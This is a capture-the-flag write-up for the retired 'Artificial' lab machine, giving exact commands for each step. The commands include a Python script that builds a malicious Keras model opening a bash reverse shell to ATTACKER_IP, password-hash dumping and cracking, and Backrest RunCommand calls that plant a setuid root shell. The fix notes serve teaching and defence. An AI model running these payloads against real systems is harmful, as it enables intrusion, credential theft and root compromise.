Artificial
Summary
An [REDACTED: recovered credential] scanned $TARGET and discovered an nginx-hosted Flask application that redirected to the artificial.htb virtual host. The application's public static directory served its own Dockerfile and requirements.txt, revealing the exact TensorFlow runtime (tensorflow-cpu==2.13.1, python:3.8-slim). A self-registered account gave access to a model-upload endpoint that passed uploaded Keras H5 files directly to TensorFlow for deserialization.
The [REDACTED: recovered credential] rebuilt the application's Docker image from the leaked files, crafted a malicious Keras model whose Lambda layer executed an OS command on load, uploaded it, and triggered model execution — receiving a reverse shell as the app service account. The Flask application's SQLite database, readable from this shell, contained password hashes for all registered users; offline cracking recovered SSH credentials for system user gael. As a member of the sysadm group, gael could read a Backrest backup archive from /var/backups/ whose embedded configuration file held a bcrypt hash for the backrest_root service account, cracked in seconds to the trivially weak password [REDACTED: recovered credential].
An SSH local port-forward exposed Backrest's Connect-RPC API; after recovering method definitions by decoding embedded protobuf descriptors from the minified JS bundle, the [REDACTED: recovered credential] authenticated as backrest_root and invoked the RunCommand endpoint — executing arbitrary OS commands under the Backrest service process, which runs as root — completing the privilege-escalation chain.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p- --min-rate 5000 $TARGETecho "$TARGET artificial.htb" | sudo tee -a /etc/hostsffuf -u http://artificial.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403Exact commands 2
curl -s http://artificial.htb/static/requirements.txtcurl -s http://artificial.htb/static/DockerfileFixRemove internal build files from the publicly served static directoryMedium
Exact commands 2
docker build -t artificial-tf -f Dockerfile .docker run --rm -v $(pwd):/out artificial-tf python3 - <<'EOF'
import tensorflow as tf, h5py, json, os
m = tf.keras.Sequential([tf.keras.layers.Lambda(lambda x: x, input_shape=(1,))])
m.save('/out/payload.h5')
with h5py.File('/out/payload.h5','r+') as f:
cfg = json.loads(f.attrs['model_config'])
lyr = cfg['config']['layers'][1]['config']
lyr['function'] = {'class_name':'function','config':['import os; os.system("bash -c \\"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\\"")', None, None]}
f.attrs.modify('model_config', json.dumps(cfg))
EOFFixDisable server-side deserialization of user-uploaded Keras H5 model filesCritical
Exact commands 5
curl -s -c cookies.txt -X POST http://artificial.htb/register -d 'username=[REDACTED: recovered credential]&email=[REDACTED: recovered credential]@evil.com&password=[REDACTED: recovered credential]'curl -s -c cookies.txt -b cookies.txt -X POST http://artificial.htb/login -d 'username=[REDACTED: recovered credential]&password=[REDACTED: recovered credential]'nc -lvnp 4444curl -s -b cookies.txt -F 'model_file=@payload.h5;type=application/octet-stream' http://artificial.htb/upload_modelcurl -s -b cookies.txt http://artificial.htb/run_model/<returned-uuid>Exact commands 2
sqlite3 /home/app/app/instance/users.db 'SELECT id,username,password FROM user;'john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtFixSeparate credential storage from the web service filesystem and enforce strong password hashingHigh
Exact commands 3
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 gael@$TARGET 'id; cat /home/gael/user.txt'ssh -o StrictHostKeyChecking=no gael@$TARGETss -tlnpExact commands 4
ls -la /var/backups/backrest_backup.tar.gzcp /var/backups/backrest_backup.tar.gz /tmp/ && tar -xzf /tmp/backrest_backup.tar.gz -C /tmp/backrest_backup_extract/cat /tmp/backrest_backup_extract/backrest/.config/backrest/config.jsonecho '[REDACTED: password hash][REDACTED: sensitive value]' > backrest_hash.txt && john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt backrest_hash.txtFixRestrict backup archive permissions and exclude credential material from archives readable by application groupsHigh
Exact commands 3
ssh -f -N -L 19898:127.0.0.1:9898 gael@$TARGETcurl -s http://127.0.0.1:19898/ | grep -oP '[A-Za-z0-9+/]{60,}={0,2}' | while read b; do echo "$b" | base64 -d 2>/dev/null | protoc --decode_raw 2>/dev/null | head -5; donecurl -s -X POST http://127.0.0.1:19898/v1.Authentication/Login -H 'Content-Type: application/json' -d '{"username":"backrest_root","password":"[REDACTED: recovered credential]"}'FixReplace the trivially weak backrest_root password with a randomly generated credential stored in a secrets managerHigh
Exact commands 3
curl -s -X POST http://127.0.0.1:19898/v1.Backrest/AddRepo -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repo":{"id":"pwn2","uri":"/tmp/pwn2","password":"[REDACTED: recovered credential]"}}'curl -s -X POST http://127.0.0.1:19898/v1.Backrest/RunCommand -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repoId":"pwn2","command":"cat /root/root.txt"}'curl -s -X POST http://127.0.0.1:19898/v1.Backrest/RunCommand -H 'Authorization: Bearer <JWT>' -H 'Content-Type: application/json' -d '{"repoId":"pwn2","command":"cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"}'FixRun Backrest as a non-root service account and restrict or remove the RunCommand API endpointCritical
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |